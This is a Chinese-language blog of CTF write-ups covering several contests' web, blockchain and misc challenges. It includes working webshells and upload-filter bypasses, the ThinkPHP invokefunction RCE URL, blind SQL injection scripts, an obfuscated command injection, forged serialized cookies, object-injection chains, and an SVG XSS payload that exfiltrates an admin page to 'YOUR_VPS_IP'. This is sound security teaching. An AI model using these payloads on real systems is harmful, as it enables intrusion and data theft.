List [CTL]
CUMTCTF双月赛I
ez-upload
进入题目,要求上传一个Webshell
到服务器,可知该题目考察文件上传漏洞,由于这是一个PHP
服务器,所以我们需要上传一个PHP Webshell
点击浏览,选择文件,文件内容为<?php @_eval($_POST['a']); ?>
,上传文件提示不允许上传该类型文件,故需要想办法绕过服务器安全限制
这里修改后缀名为.phtml/.htaccess/.php5
均可
然后用菜刀连接上传的Webshell
,读取根目录下的flag
文件:
CVE
这道题提示了是一个CVE,所以我们需要到网上找该CMS的相关漏洞。该CMS为Drupal
,CVE编号为cve-2018-7600
,参考这篇文章
构造第一个请求注入恶意代码:
将第一个请求的响应中form-build-value
取出填入第二个请求,获得flag:
secret-system
进入题目页面,访问robots.txt
,可知登录页面URL
User-agent: *
Disallow: index.php?r=site/loginuser_1
查看登录页源代码可见提示:
<li><a href="/web/index.php?r=">login</a></li>
<li><a href="/web/index.php?r="></a></li></ul></div></div></nav>
<div class="container">
<!--
*** author: cib_zhinianyuxin.com
*** code: github.com
-->
<div class="site-loginuser_1">
<form id="w0" action="/web/index.php?r=site/loginuser_1" method="post">
访问作者的Github
仓库:https://github.com/cumtxujiabin/secret-system
看到提示:
1. you can use test/cib_sec to login ,but you are not admin!
2. only admin can upload file ,but whichone can not bypass my rules.
/**
$sign = array(
'id'=>$model->id,
'name'=>$model->username,
'sign'=>md5($model->id.$model->username),
);
$_COOKIE['Cib_security'] = serialize($sign);
**/
可知:
- 能以
test/cib_sec
账户登录 Cookie
为array
对象的序列化
所以我们可以尝试伪造序列化的数据,写PHP脚本:
<?php
$sign = array(
'id'=>"1",
'name'=>"admin",
'sign'=>md5("1"."admin"),
);
echo serialize($sign);
将Cookie Cib_security
的value修改为a:3:{s:2:"id";s:1:"1";s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}
即可获得管理员权限
接着发现页面存在Upload目录,进入后要求上传一个Webshell,又是一个文件上传漏洞,这里我们按照题1 的步骤上传,但是需要改后缀名为.pht
,然后和题1一样,使用菜刀连接,读取flag
ezshop
进入题目,是一个商店,注册新用户发现我们有300积分,但是买flag需要888积分
接着我们下载题目给的压缩包,发现是网站的源代码,为Python Django
框架,审计代码后在/ezshop/payment/views.py
发现问题
这里接收到支付请求的逻辑为:
- 查验签名是否正确
- 调用
get_object_or_404
函数获取订单对象、商品对象、用户对象(以用户ID为参数) - 依次检查订单状态、商品状态、用户积分
而最重要的一点,它没有检查用户权限,所以我们可以利用这个漏洞来越权发起请求,即用别人的账户来支付我们的订单
但我们不知道谁的账户里有足够的钱来帮我们完成支付,所以我们查看网站代码压缩包里的数据库文件
看到id为16的用户账户里有30000¥
故我们创建订单
接着点击确认支付并开启BP抓包,由源码里我们知签名的构造是将密钥与POST请求请求体拼接后进行hash,
这里直接读取密钥文件会更好,因为密钥结尾有一个换行符
获取签名后填入请求的查询字段,发起请求:
看到订单成功支付,这时打开题目网站,查看商品flag
tp5
这是这几天爆出的ThinkPHP框架的CVE,可以看该文章
访问http://219.219.61.234:10005/public/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=xxx&vars[1][]=xxx
即可执行任意代码
http://219.219.61.234:10005/public/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
system("cat /flag")
获得flag
shell
进去题目,发现有一个登录框,注册用户后登录,发现可以上传图片
扫描网站后台,发现/admin
目录,测试发现存在注入,为时间+正则盲注,注入脚本:
import requests
url = "http://114.55.36.69:10006/admin/login.php"
# payload = "database()" web
# payload = "password"
flag = ""
for i in range(1, 50):
for j in "qazxswedcvfrtgbnhyjumkiolp1234567890{},_-!@#%&=':|<>":
_data = {
"username": f"admin' and if(mid(({payload}),{i},1) regexp '{j}',sleep(3),1)#",
"password": "aaa"
}
try:
r = requests.post(url, data=_data, timeout=3)
except:
flag += j
break
print(flag)
获得管理员密码后登录管理后台,发现存在?file=CN.html
,猜想这里存在文件包含漏洞
联想到普通用户目录里的文件上传功能,我们得到解题思路:
- 普通用户上传图片,图片中包含恶意php代码
- 管理员目录中包含恶意文件,执行代码
这里的图片上传使用了PHP GD
图片处理库(标志为上传的图片中包含CREATOR: gd-jpeg v1.0 (using IJG JPEG v80)
),会对图片进行渲染,渲染失败会提示该文件不是jpg
文件,且会过滤图片中的恶意内容
所以我们上传一个图片,然后再下载下来,对比两个图片的Hex
,找出未被修改的部分,将那部分内容改写为我们的恶意代码,然后在admin目录中包含恶意文件,即可执行任意代码
BlockChain
zeppelin原题,delegatecall函数的漏洞
CUMTCTF双月赛II
签到
?0ver=001&0ver1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&0ver2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
SimpleUpload签到
console里function checkFile(){;}
覆盖掉判断函数后上传
小型线上赌场
.index.swp文件泄露
import asyncio
import aiohttp
url = "http://202.119.201.199:32787/index.php?invest=1&guess=2"
async def guess():
async with aiohttp.ClientSession() as session:
while 1:
async with session.get(url) as resp:
data = await resp.text()
if "flag{" in data:
print(data)
exit()
loop = asyncio.get_event_loop()
tasks = [guess() for i in range(8)]
loop.run_until_complete(asyncio.gather(*tasks))
SimpleSQLi
Sqlmap:
sqlmap -u xxx
SimpleSqli2
import requests
#payload = "selSELECTect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='flagishere'"
payload = "selSELECTect/**/binary/**/group_concat(FLAG)/**/from/**/flagishere"
flag = ''
for i in range(4, 50):
for w in '_QAZXSWEDCVFRTGBNHYUJMKIOLP{}qazxscwderfvbgtyhnmjuiklop1234567890':
url = f"http://bxs.cumt.edu.cn:30010/test/index.php?id=if(mid(({payload}),{i},1)='{w}',1,0)"
# url = f"http://127.0.0.1/sql.php?id=if(mid(({payload}),{i},1)='{chr(w)}',1,0)"
# print(url)
r = requests.get(url)
if 'NoNoNo' not in r.text:
flag += w
break
print(flag)
真的简单。。
http://202.119.201.199:32793/list.php?id=-1' uniunionon seleselectct 1,2,(selselectect flag from flag)-- -
获得flag in admin_08163314/exec.php
后台命令执行:
`echo$IFS"Y2F0IC9mbGFnXzMzMTQvZmxhZw=="|base64$IFS-d`
文件管理系统
源码泄露:www.zip
二次注入:
后台的建表语句为四个字段:
CREATE TABLE file(fid id()
filename xx
oldname xx
extension xx
)
上传文件名为:
',extension='',filename='404.jpg.jpg
upload.php上传时由于addslashes
的原因单引号转义
插入表内的文件名:
filename = ',extension='',filename='404.jpg
扩展名:
extension = .jpg
改名时的update语句为
update `file` set `filename`='404.jpg', `oldname`='',extension='',filename='404.jpg' where `fid`=x;
此时库中存在一个扩展名为空的记录
上传一个404.jpg
重命名为404.php
$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
if(file_exists($oldname)) {
rename($oldname, $newname);
空扩展名拼接后为原文件名,即可成功重命名为.php
BlockChain
ctf函数的两处require:
require (takeRecord[msg.sender] == true);
require (balances[msg.sender] == 0);
即领取过空投且收益为0
调用takeMoney即可满足第一个条件
而后需要调用transfer函数将钱转走,但是transfer被lock了,且时长为一年
而后阅读代码发现父类中的函数transferFrom也可转移
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0)); 第二个判断通过父类的approve函数来达成
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
然后转移10**6 money,调用ctf函数即获得flag
Misc
BXS图标
查看发现是重排列的密码,猜测有意义的字符串获得flag
矿大校歌
文件注释中有解压密码
解压后mp3stego提取隐藏文件
起床改error
文件中隐藏压缩包
doc文件中查看隐藏字符即可
2019安恒一月月赛
Babygo
<?php
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct(){
$this -> skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
function a(){
$tmp = new baby();
$tmp -> bbb = NULL;
$this -> skyobj = new cool();
$this -> skyobj -> amzing = serialize($tmp);
$this -> skyobj -> filename = "flag.php";
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
$obj = new baby();
$obj->a();
echo serialize($obj);
构造序列化payload,需注意protected成员序列化后的%00*%00
SimplePHP
查看robots.txt,访问/admin有注册登录页面
SQL长度约束,username=admin 1
登录
进入后利用TP注入漏洞:
import requests
flag = ""
_cookies = {
'PHPSESSID': # cookie
}
for i in range(1,50):
for j in range(33, 128):
url = f'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((mid((select flag from flag limit 0,1),{i},1)={chr(j)},sleep(3),0)--'
try:
r = requests.get(url, timeout=3, cookies=_cookies)
except:
flag += j
break
print(flag)
Teaser CONFidence CTF
赛后复现,连接https://confidence2019.p4.team/
My Admin Panel我看做出来的人挺多就没看,复现了后两道Web题目
Web 50
一道XSS题目,注册后存在上传接口以及向管理员汇报Bug
使用SVG矢量图片格式,内嵌JS代码,由于上传执行,不存在SOP影响
EXP:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,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" />
<script>
fetch('http://web50.zajebistyc.tf/profile/admin').then(o => o.text()).then(v => fetch('http://YOUR_VPS_IP/', {method: 'POST',
body: JSON.stringify({k: v})}));
</script>
</svg>
这里踩了个坑,用GET发数据会超出最大字节限制
The Lottery
Golang的Chi框架,其实Golang的Web框架都是千篇一律的API,几乎都只是在重复模仿
这道题给了源码,是一个REST API,有以下路由
r.Get("/", handler.IndexGet)
r.Post("/account", handler.AccountAdd)
r.Post("/account/{name}/amount", handler.AccountAddAmount)
r.Get("/account/{name}", handler.AccountGet)
r.Post("/lottery/add", handler.LotteryAdd)
r.Get("/lottery/results", handler.LotteryResults)
看看怎样能拿到flag:
// 如果你是millionare或者你win了lottery
func (h *Handlers) AccountGet(w http.ResponseWriter, r *http.Request) {
account, flag, err := h.service.AccountGet(chi.URLParam(r, "name"))
if err != nil {
if err == app.ErrNotFound {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
response := AccountGetResponse{
Account: account,
}
if flag {
response.Flag = h.flag
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(response)
}
func (s *Service) AccountGet(name string) (Account, bool, error) {
s.mutex.RLock()
defer s.mutex.RUnlock()
account, found := s.accounts[name]
if !found {
return Account{}, false, ErrNotFound
}
superUser := s.lottery.IsWinner(name) || account.IsMillionaire()
return account, superUser, nil
}
func (a *Account) IsMillionaire() bool {
sum := 0
for _, a := range a.Amounts {
sum += a
}
return sum >= 1000000
}
彩票赢的条件是你账户所有的钱数(MaxAmountsLen = 4
,int数组,最大长度为4),加上一个大随机数正好等于0x133700
for name, account := range accounts {
amounts := append(account.Amounts, randInt(999913, 3700000))
sum := 0
for _, a := range amounts {
sum += a
}
if sum == 0x133700 {
l.winners[name] = struct{}{}
}
}
百万富翁的条件,你可以添加你账户的钱,但是不能大于99:
const MaxAmount = 99
func (a *Account) AddAmount(amount int) error {
if amount < 0 || amount > MaxAmount {
return errors.Wrapf(ErrInvalidData, "amount must be positive and less than %d: got '%d'", MaxAmount+1, amount)
}
if len(a.Amounts) >= MaxAmountsLen {
return errors.Wrapf(ErrInvalidData, "reached maximum number of amounts (%d)", MaxAmountsLen)
}
a.Amounts = append(a.Amounts, amount)
return nil
}
漏洞利用思路学习自https://github.com/mwarzynski/confidence2019_teaser_lottery
理一遍流程:
首先通过接口创建新账户,接着可以添加四次账户余额,然后注册账户参加赌博,最后查看结果,如果isMillionare || amountTotal > 1000000
则会返回flag
我们看看赌博计算结果的函数
func (l *Lottery) evaluate() {
l.mutex.Lock()
defer l.mutex.Unlock()
accounts := l.accounts
l.winners = make(map[string]struct{})
l.accounts = make(map[string]Account)
for name, account := range accounts {
amounts := append(account.Amounts, randInt(999913, 3700000))
sum := 0
for _, a := range amounts {
sum += a
}
if sum == 0x133700 {
l.winners[name] = struct{}{}
}
}
}
它直接取出了用户结构体中的amounts来append,这里需要知道Go里的切片是什么,我原来写代码时就在这里踩过坑
struct {
ptr *T
len int
cap int
}
Go里有引用类型与值类型的区分,所有的引用类型其实都是一个包含指针的结构体。而切片的指针指向的是底层的数组(数组不可变,切片可变)
比如我这样操作的话
array := [...]int{1, 2, 3}
s1 := array[:2]
s2 := array[2:]
这两个切片所引用的数组是同一个,我修改其中一个切片的结果是,另一个也会被修改
而append函数则是扩充切片,它创建一个新的切片结构体并返回。当没有达到cap(容量)限制时,它还是指向原先的数组,并将元素append到底层数组中,并修改长度。而超过容量限制后,则会创建一个新的底层数组,并且返回指向新数组的切片
所以虽然C-like的变量是传值,但是由于引用类型的存在,我们可以修改到原始结构体。而又因为传值的原因,我们可以拿到不一样的slice结构体(指针相同,长度容量不同)
exp.py:
import requests
import threading
import os
url = 'https://lottery.zajebistyc.tf'
def exp():
s = requests.Session()
r = s.post(url + '/account').json()
user = r['name']
for _ in range(3):
r = s.post(url + f'/account/{user}/amount', json={'amount': 99})
r = s.get(url + f'/account/{user}')
r = s.post(url + f'/lottery/add', json={'accountName': user})
r = s.post(url + f'/account/{user}/amount', json={'amount': 99})
r = s.get(url + f'/account/{user}')
print(r.text)
if 'flag' in r.text:
os._exit(0)
t = [threading.Thread(target=exp) for _ in range(30)]
[thread.start() for thread in t]
DDCTF2019
Web除了最后一道零解(最后有几个大佬a了)的Java
滴~
这道题的误导很严重
进入题目
URL为http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
,将参数解码
>>> 'TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'.decode('base64').decode('base64').decode('hex')
'flag.jpg'
存在文件读取,尝试读取页面源码
>>> 'index.php'.encode('hex')
'696e6465782e706870'
>>> _.encode('base64')
'Njk2ZTY0NjU3ODJlNzA2ODcw\n'
>>> _[:-1].encode('base64')
'TmprMlpUWTBOalUzT0RKbE56QTJPRGN3\n'
解码后获得页面源码
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
发现两处过滤:
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","!", $file);
所有非[a-zA-Z0-9.]的字符会被过滤,config会被替换为!
访问注释里的CSDN链接,这里有个脑洞,需要根据日期7月4号来查看CSDN博客相应的文章,文章内容是.swp文件泄露,猜测存在泄露且文件名相同
访问/practice.txt.swp
得到内容f1ag!ddctf.php
,因为!被过滤所以用config来替代!,传入参数b64encode(b64encode(hex("f1agconfigddctf.php")))
读源码
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
这个就是常规的变量覆盖了,传入http://117.51.150.246/f1ag!ddctf.php?k=practice.txt.swp&uid=f1ag!ddctf.php
获得flag:
DDCTF{436f6e67726174756c6174696f6e73}
WEB 签到题
进入页面提示无权限
抓包发现有一个Ajax请求了鉴权接口
修改空值为admin后发包,提示访问某页面
进入新页面,给了源码,开始审计
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
注意到关键点:
- 反序列化类的析构函数存在文件读取
- 生成session需要密钥
'../config/key.txt'
访问key.txt提示没有权限,看到源码里:
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
数组里有两个参数,循环sprintf,所以我们可以传入"nickname=%s"
,这样第一次循环后:"Welcome my friend %s"
,第二次循环后sprintf("welcome my friend %s", $eancrykey)
,即成功获取密钥
获取密钥后开始伪造session反序列化读文件
我们序列化Application类,成员path修改为..././config/flag.txt
,这里由于过滤了../
所以双写绕过
<?php
$a = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}';
echo urlencode($a);
echo md5("EzblrbNS".$a);
获得flag
Upload-IMG
这道题是绕过PHP GD库的图像重渲染
具体可看这篇文章:http://www.cnblogs.com/test404/p/6644871.html
我们可以利用工具jpg_payload生成包含恶意代码的图片
工具链接:https://wiki.ioin.in/soft/detail/1q
首先准备一张图片,先上传到服务器,图片将会被重渲染,接着我们将图片下载下来,使用工具插入恶意代码
$ php5 jpg_payload.php 190413104151_339161029.jpg
这时的图片就包含了恶意代码且不会被GD库重渲染抹去,我们再次上传即可获得flag
homebrew event loop
这道题我个人认为出的很好
是一个Flask框架编写,上来就给了源码
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66147e857'
def FLAG():
print 'invoke flag!!'
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
print request.event_queue
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix) + len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException:
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[
0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars:
return 'white list'
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action + ';').split('#')
#print action
#print args
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix + '/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (
not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace(
'\t', ' ' * 4).replace(' ', ' ').replace(
'<', '<').replace('>', '>').replace(
'\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(
['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
print 'show_flag'
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
print 'get_flag'
if session['num_items'] >= 5:
trigger_event(
'func:show_flag;' +
FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')
通读一遍我们即可知道,它是基于事件循环处理,它维护了一个事件队列,用trigger_event
函数添加事件,在每次请求时循环处理队列
它的URL都是这样的http://116.85.48.107:5002/d5af31f66147e857/?action:view;shop
,服务器通过读取query_string,也就是?
后面的字符串,然后解析:
和;
之间的为action参数, ;
之后的为params参数
再读一遍我们即可发现端倪:
- eval函数,明明多写几个条件判断就可以实现的功能却用了eval函数,这里可能需要利用
- 买diamond时先加diamond数,然后判断钱不够时再利用存储在
